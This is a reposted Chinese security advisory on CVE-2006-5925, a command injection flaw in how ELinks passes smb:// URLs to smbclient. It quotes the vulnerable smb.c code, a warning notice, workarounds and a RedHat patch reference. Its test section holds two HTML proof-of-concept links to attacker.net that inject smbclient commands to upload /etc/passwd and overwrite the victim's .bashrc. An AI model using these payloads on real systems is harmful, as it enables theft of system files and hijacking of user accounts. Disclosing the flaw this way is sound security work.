 |
ELinks URL串处理smbclient远程命令注入漏洞 |
|
|
| ELinks URL串处理smbclient远程命令注入漏洞 |
|
| 作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 15:14:58 |
|
2006-11-17 18:28:48
发布日期:2006-10-18 更新日期:2006-11-17
受影响系统:RedHat Enterprise Linux WS 4
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux Desktop 4
RedHat Enterprise Linux AS 4
ELinks ELinks 描述:
BUGTRAQ ID: 21082
CVE(CAN) ID: CVE-2006-5925
ELinks是一款开放源码的WEB浏览器。
ELinks在处理SMB相关的URL串时存在命令注入漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意命令。
ELinks没有正确验证“smb://”URL串就调用smbclient命令,允许攻击者在上述URL中注入smbclient命令下载和覆盖本地文件或向SMB共享上传文件。漏洞相关代码如下:
-----------------------------------------------------------------------------
smb_func() in smb.c:
...
143 if (*share) {
144 if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
145 if (dir) {
146 v[n++] = "-D";
147 v[n++] = dir;
148 }
149 v[n++] = "-c";
150 v[n++] = "ls";
151 } else {
152 unsigned char *ss;
153 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
154 add_to_strn(&s, dir);
155 add_to_strn(&s, "\" -");
156 while ((ss = strchr(s, '/')))
*ss = '\\';
157 v[n++] = "-c";
158 v[n++] = s;
159 }
160 }
161 v[n++] = NULL;
smbclient is executed:
162 execvp("smbclient", (char **)v);
163 fprintf(stderr, "smbclient not found in $PATH");
164 _exit(1);
...
<*来源:Teemu Salmela (teemu.salmela@iki.fi)
链接:http://secunia.com/advisories/22920/
http://marc.theaimsgroup.com/?&m=116355556512780
http://lwn.net/Alerts/209822/?format=printable
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! <html>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd
etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd
home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>
建议:
临时解决方法:
* 防火墙过滤SMB通讯;
* 卸载smbclient。
厂商补丁:
RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2006:0742-01)以及相应补丁:
RHSA-2006:0742-01:Critical: elinks security update
链接:http://lwn.net/Alerts/209822/?format=printable
|
|
| 文章录入:admin 责任编辑:admin |
|
|
上一篇文章: Conxint FTP多个目录遍历漏洞 下一篇文章: Microsoft Agent Active控件缓冲区溢出漏洞(MS06-068) |
|
|
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|
|
|
|
|